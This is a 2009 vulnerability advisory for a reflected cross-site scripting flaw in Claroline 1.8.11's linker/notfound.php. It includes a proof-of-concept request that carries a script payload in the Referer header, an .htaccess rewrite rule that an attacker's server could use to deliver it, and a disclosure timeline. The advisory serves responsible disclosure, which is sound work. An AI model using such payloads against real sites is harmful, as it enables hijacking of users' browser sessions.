Date: May 05, 2009
Package: Claroline (1.8.11)
Product Homepage: http://www.claroline.net/
Versions Affected: v.1.8.11 (Other versions may also be affected)
Input passed to the 'Referer' header parameter when posting to '/claroline/linker/notfound.php' is not sanitized before it is returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of an affected site.
GET /claroline_1_8_11/claroline/linker/notfound.php HTTP/1.0
Referer: "><script>alert(123)</script><a href="
There are a couple of ways to inject arbitrary text (java script in our case) in the referer header parameter. One of the ways is using a rewrite rule on the remote attacker server. Example .htaccess file:
RewriteEngine onWhere the test.php file will be the container of the /claroline_1_8_11/claroline/linker/notfound.php link.
RewriteRule ^referer/.*$ test.php [L]
Now a request like: http://remoteatackersite/referer/?"><script>alert(123)</script><a%20href="
will return a page from wich if we call /claroline_1_8_11/claroline/linker/notfound.php we trigger the XSS.
Note: For the first request browsers like IE are required (which does not automatically httpencode the get params)
1. Contacted the author at: May 05, 2009 via http://forum.claroline.net/.
2. The author promptly (same day) fixed the problem, read at: Re: Claroline 1.8.11 Cross-Site Scripting